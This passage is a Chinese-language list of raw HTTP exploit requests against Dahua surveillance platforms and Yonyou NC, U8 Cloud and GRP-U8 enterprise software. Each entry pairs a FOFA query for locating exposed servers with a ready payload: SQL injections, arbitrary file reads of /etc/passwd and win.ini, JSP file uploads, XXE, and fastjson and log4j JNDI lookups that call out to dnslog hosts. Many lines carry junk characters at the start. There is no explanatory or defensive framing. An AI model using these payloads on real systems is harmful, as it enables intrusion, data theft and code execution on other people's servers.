- m: e$ j8 |* E! HUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
3 g9 z0 q, b8 }8 B! `Connection: close
( B* _# A1 r/ Y9 i$ g" o' u) O" ^Accept: */*
6 p) l- N$ Z+ O. B: A3 CAccept-Language: en
Accept-Encoding: gzip


17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
2 G/ J- R/ I0 w3 ?& FPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
) r. N3 z4 Y) n- b  yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ D; z8 i9 H7 e3 J8 k* O( ^Connection: close
Content-Length: 345
8 P& ]+ h- R# J0 o" |% yAccept-Encoding: gzip
; P1 T8 q6 J( P4 \4 x- W
$ `8 R6 i; V7 |<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
8 [& e- k; @8 ]5 f    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
/ X" C( x6 A" j/ d6 \+ Q8 ]5 {      <netMarkings>
) Q' ]  ^, c+ T       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
8 `* C- `& C6 x8 z) D9 V$ G0 F$ w      </netMarkings>
/ ?+ r# o6 v+ E" X  Z    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
. B* ]  v' W9 t2 b0 P- J: Y

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
2 I# H4 f: a. H" RFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
/ d+ r: Y- q/ }9 L2 [: EAccept: */*
Connection: keep-alive



19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
6 M, v6 ?! K" PHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
* }4 S0 N, q( B+ }, IAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
+ ?9 h7 G8 R5 n' Y; b- NUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# ~2 v3 H7 `1 n" d! @$ C7 iConnection: close
Accept: */*
Accept-Language: en
3 X+ m# S7 E1 f- U" kAccept-Encoding: gzip
  q) o+ K4 H  h3 X3 I. _" E8 Z

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
; X5 ~' b6 w  U( n$ ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 x" m3 s  F1 S$ a1 A6 Z- lContent-Length: 161
Accept-Encoding: gzip
5 p$ @% }+ G& n' e8 Y8 e$ O' aConnection: close
Content-Type: application/json;charset=utf-8

' z1 J- K2 J6 a' i: f; V, e& P{
( O1 P* Q' V7 t* s+ Z' t"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
, {/ n- X0 R. \3 q    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
: A. q" k) A/ d) ?* ]+ O/ `  }""
}


! d  |" k, O- m9 \, l8 X& C, y22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
7 s" s/ I8 S  [& ?POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
8 V- ~% r7 ]. i1 ~8 F% z$ C
{
"loginName":"${jndi:ldap://dnslog}"
* \$ S) e2 h( Q" W& r4 A+ P7 q& ~}
4 T! T) j; B. s# n( L- D9 c, x7 ?
/ i) Y) w3 R' h8 d" m7 p' N6 ]
* n) K2 b, i6 k. I, _7 x" }( Y: S5 J
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
+ ~/ d$ q, ?3 t2 |1 ?, v( UConnection: close
! n! J& N% ^) A2 J& C, B
, M# f* E- U/ ~( R! a{
    "a":{
$ q/ x! T) q/ _, R9 y  Z        "@type":"com.alibaba.fastjson.JSONObject",
# Q$ Q; q& b$ B" \$ O" [       {"@type":"java.net.URL","val":"http://DNSLOG"}
* z8 J4 L' k7 J        }""
}
2 A1 d7 z& o8 X5 }5 X

24. 用友NC 6.5 accept.jsp任意文件上传
; u0 c# J! h5 q* H( h# qFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
& j) R2 @5 |; p1 Z7 t4 t( T1 I' fUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
. ]3 y+ R- Q7 r7 J1 `& ]" @Connection: close
* u; n9 Q; i( F8 r' ^Content-Length: 449
Accept: */*
5 I8 O! j5 \0 ~% I* P+ }( `Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
  U" O9 F6 U; g. K. A. q7 ?8 i
1 P2 \7 @2 H5 l+ b' X-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
7 c! \( Y. u/ h$ @8 c0 iContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
( h, H" x' |% A0 I0 o
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

5 N9 S2 K/ W4 n) c\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
; F# N# x+ d3 o7 y-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


; |/ F8 M' M- P: F25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
$ g- e& s9 I) O& I& x# b. N/ eAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
! y  a1 D0 R5 i' F) @7 B4 lContent-Type: application/x-www-form-urlencoded

! @$ Y* p7 M- [" |0 Z2 Utype=1&dsname=ldap://dnslog
% ~* f& Y, ?* U
' L# C3 F, M. g
% C6 u! a* I+ C
26. 用友NC linkVoucher SQL注入
3 u: Q( X: o4 f1 P8 n# rFOFA：app="用友-UFIDA-NC"
9 Y  Y" F- F, j9 Q, DGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 l3 p+ Y& {- j3 w# sHost: your-ip
1 S5 R7 U. p1 k. }) {6 w2 Z* sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 t* t, {% Y+ A. v3 n; @$ _4 mAccept-Encoding: gzip, deflate
; P# d0 F1 G1 s# y0 bAccept: */*
2 a1 d( ?9 `) Q1 t1 N7 {  oConnection: keep-alive
. h( B+ l) a9 h) D& ^

27. 用友 NC showcontent SQL注入
  Q" d0 F, q% J1 B5 A, A, C0 ]FOFA：icon_hash="1085941792"
  v" K* }* a. o2 U6 BGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
) j1 t& `  E9 y7 w: I4 G7 Y' `Host: your-ip
/ Y9 P/ N; [) B& o# jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
( K$ L/ o3 U6 C4 n' s. n# FConnection: close
Content-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
$ y* Q3 t8 r; r9 ]  I: iPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
. Z, K9 t4 X/ j' l6 Y, H" x8 fConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
' G% R" O, a/ U% |2 YAccept-Encoding: gzip
* i7 }+ w) U- |3 N0 s8 j
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
/ |9 c$ F- x9 ?
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
2 f- ]* e) N5 o5 K# |  |------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
9 A3 P( G; L0 S0 u$ O3 W# @
" m# B  [% K7 g5 L4 C5 S" f7 T
/uapim/static/pages/nc/head.jsp

# X# E5 U2 j; W" s& {& k29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% v$ L. i0 |1 i4 g! Q) Y# yHost: your-ip
1 K# E8 w- W/ f" j% p! A. m) {, G7 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
* O" r5 l9 ^2 k1 n/ f( MAccept: */*
4 n) `; ~* x0 k4 y+ [) B# U2 {Connection: keep-alive
% T9 s1 k" i* E/ w
8 e. [% A* @- \$ Y, e
30. 用友NC importPml SQL注入
! p* `! [7 X0 m* B) ^2 U* bFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
& k# Z) L  S9 d; sPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
7 X: u* N/ V5 U' e! uHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

6 l5 U4 T3 q; E. `4 H! s6 a------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
% c2 b  D) [* Z7 R* H------WebKitFormBoundaryH970hbttBhoCyj9V--

2 e+ d0 r6 w$ N1 \7 q4 G
31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
, y8 s6 G% |, c* i/ @GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 R2 d' L. u( m7 a: W2 [Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


! [' ~( N5 b: k% p32. 用友NC complainbilldetail SQL注入
" C. `8 l6 B0 {% fversion= NC633、NC65
3 B8 l! g9 b" D; TFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 d' |, ^# Y$ E' ~# VContent-Type: application/x-www-form-urlencoded
5 E( L) A  N5 F: R* o/ ^Accept-Encoding: gzip, deflate
Accept: */*
3 O+ _+ h4 \# Z1 [Connection: keep-alive
2 R1 w( S/ [) D. |9 J

& i- \+ ]+ V3 C( V: C6 x33. 用友NC downTax/download SQL注入
1 @& G) L3 C. H* ^9 |4 L2 Gversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 t4 D. [) e3 AHost: your-ip
' D2 j) R6 X4 @! o" nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 n# ~& [" q. d9 Z5 j$ vContent-Type: application/x-www-form-urlencoded
8 ~6 D/ c* T1 FAccept-Encoding: gzip, deflate
9 H$ r# ]1 `1 a  \% q+ bAccept: */*
4 U% M5 j% \: wConnection: keep-alive
% \: G. R( y( M3 l( g6 v

  t7 o4 n2 D" ]8 C34. 用友NC warningDetailInfo接口SQL注入
* k* T- d6 Z; BFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
) b% O$ u& e* B, J" W( O+ R5 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ r% \( B$ u' T/ i5 g% }Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
! c" J4 R  v6 EAccept: */*
Connection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
+ e- }: P+ R* e  e, a% D+ N9 }FOFA：app="用友-NC-Cloud"
; w% M9 E: F/ `! f1 E  P" _9 EPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
1 a; w% K7 `  BUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
2 D' }  n2 a( Z1 O# O" \Accept: */*
Connection: close
3 @. k8 R; u6 w4 w  S) _+ w# CaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

, O. u, L2 F9 X; F. [7 {--fd28cb44e829ed1c197ec3bc71748df0
: c& |) L! l# g" iContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
) `& i: L. i5 _: J( e  [! s2 j( z/ b
( D5 d% D( Y/ e( u! _<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


# P( Z- S* h# K- y8 ~* E) Z36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
- m2 M  ?  q3 w) n' Y) H4 p7 ^6 sPOST /uapws/soapFormat.ajax HTTP/1.1
1 ]0 |1 a3 N7 i5 \* ]2 u. kHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
/ _5 A' N  k3 w, u4 tContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
, A4 h( v9 a# S% _1 N( JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
1 }7 z0 d# W) ^# U: q3 |
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


5 f4 |) D! E" o0 [. u) C% [37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
6 B2 I  p2 s4 J3 hHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
1 Y0 a7 l- Z! `, _7 o3 DContent-Length: 421
% e; @0 t, r* K6 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1 D+ O  T. d. pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& @. D1 c6 A0 `$ r3 `' d7 J1 _( ]Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

# Z" ^6 S3 u) K8 U8 \( H- o<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
8 W, |7 n9 `8 _+ I+ d) G6 u<soapenv:Header/>
0 Z) ]- }) e9 m6 Z' u<soapenv:Body>
" {1 p  A& E4 A  b* C/ Z: h<iup:getResult>
) h; p% N9 @% X5 S' X; x% r<!--type: string-->
+ V& |9 T9 }  A. [& D5 D. ~; C<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
6 d) E6 f. u8 g& F) ]( c0 \" R</soapenv:Body>
& ~- p( c3 F* x! t, X0 r7 s: l* |4 V/ B</soapenv:Envelope>


2 I  N- Z$ _$ J/ F- |
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* d3 _$ o. p: HConnection: close
Content-Type: application/x-www-form-urlencoded
$ D$ O  `0 S$ y) }" Q2 z& o/ o
4 ?0 S% k" x5 v# e  R- `& z__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
2 s# {* h; P! l9 y6 t( W# C3 o9 w$ |: w/ T

3 j+ l" Q. M! Z1 @39. 用友U8 Cloud RegisterServlet SQL注入
- ~* S' J8 b; b# y8 I- NFOFA：title="u8c"
: p5 k* W! {  N7 J1 DPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
4 R! n/ @, O; sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
9 u- M2 f  `4 m, U! [* eAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
/ k* `1 w$ b6 Y7 Z5 \9 e; OAccept-Encoding: gzip
4 g; F" @- d8 ]* |* m7 P
% Q7 ~! c  Y; X% Y7 q# rusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


$ n; `6 h6 m% W- x, e% Z40. 用友U8-Cloud XChangeServlet XXE
# Q; U3 x2 L0 }) F3 `FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
. I) V) F$ d: {$ g4 S% j: eUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) b# V6 P8 m8 P- d) W3 o7 Q! OContent-Type: text/xml
3 J" y) ]  ~% A" eConnection: close
4 I2 t% n4 G6 e3 g. }
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
) N! ?0 C: y6 G& m* J- _FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
, j9 l) X: |9 K* a2 o+ S+ HAccept-Encoding: gzip
  O  m. K# J  i- G) a4 N* WConnection: close
  q/ }2 U9 o" v- x+ B8 J
6 z. F& t& y' M6 n- j
42. 用友GRP-U8 SmartUpload01 文件上传
! {9 |  w( E  k. uFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
. M- V2 H: ?8 [. K8 A) z& iHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
0 I  d4 C. V) _3 }4 T7 g3 q

: ]" |& O# ~% e  d6 p  `6 ohttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
3 |8 E  `" ?. j! t7 g1 k' Y3 M6 w
1 z. m: y" Y/ O43. 用友GRP-U8 userInfoWeb SQL注入致RCE
3 v3 r& |% x& @5 J8 m$ MFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 q4 [. E) O8 m# T  s& EAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
: E6 B4 t( n$ C  c+ T2 Q9 |Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
, ~$ O' g' v9 I( @/ e0 D: {   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
" p5 S/ d; ~! D' O4 p3 _/ e         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
5 {- ?% z7 Z2 T! J
) Q) R+ e. o$ I9 c
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
. G' C4 U* ^3 f3 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 V# P! ^( e' y; ~  C& t/ vAccept-Encoding: gzip, deflate
  A& G5 P, C4 W- LAccept-Language: zh-CN,zh;q=0.9
Connection: close


  R9 Y+ H1 y# ~, [5 k45. 用友GRP-U8 ufgovbank XXE
( h6 H; a( H" x; S& _FOFA：app="用友-GRP-U8"
/ N, g6 k2 a4 LPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
* h- D8 x4 |; ZContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% ?1 N: {" s4 m" S' D( kContent-Type: application/x-www-form-urlencoded
; m0 ~9 ?0 O) }1 y0 y% dAccept-Encoding: gzip
, `4 J" g0 H' s4 @  O
! F' d1 Q3 Y, i& L! XreqData=<?xml version="1.0"?>
+ J$ ]0 E7 U0 @. N! |<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
/ V, b! c1 v$ q2 E' I/ U

2 P* c6 U+ u1 f2 p1 F: X46. 用友GRP-U8 sqcxIndex.jsp SQL注入
; J2 m& b' Y  O( S4 r: H- ~$ \; n$ LFOFA：app="用友-GRP-U8"
& O; t" K( {. S5 N  I1 _% j6 n* _GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
: q$ Q, Z$ Z5 Q5 _" ~6 j( \. o7 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 z5 ~+ R0 @& HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  D' J# g* E% G4 o9 n7 sConnection: close
- q# [6 x2 q  A/ z0 ?

47. 用友GRP A++Cloud 政府财务云 任意文件读取
: @9 E( [4 B! O# Q3 v1 D4 PFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
. }" x: v' @% K- vHost: x.x.x.x
Cache-Control: max-age=0
; I. A( z: b: o0 XUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 Q5 a+ A2 @9 W$ L0 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ T$ N7 ?" E2 l2 ^/ R: C1 \If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
5 G# X- x" l* b2 @- O5 e6 B
- {. n7 \. a9 \) U+ o8 U, i8 U: q
( t( V* x+ X$ c
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
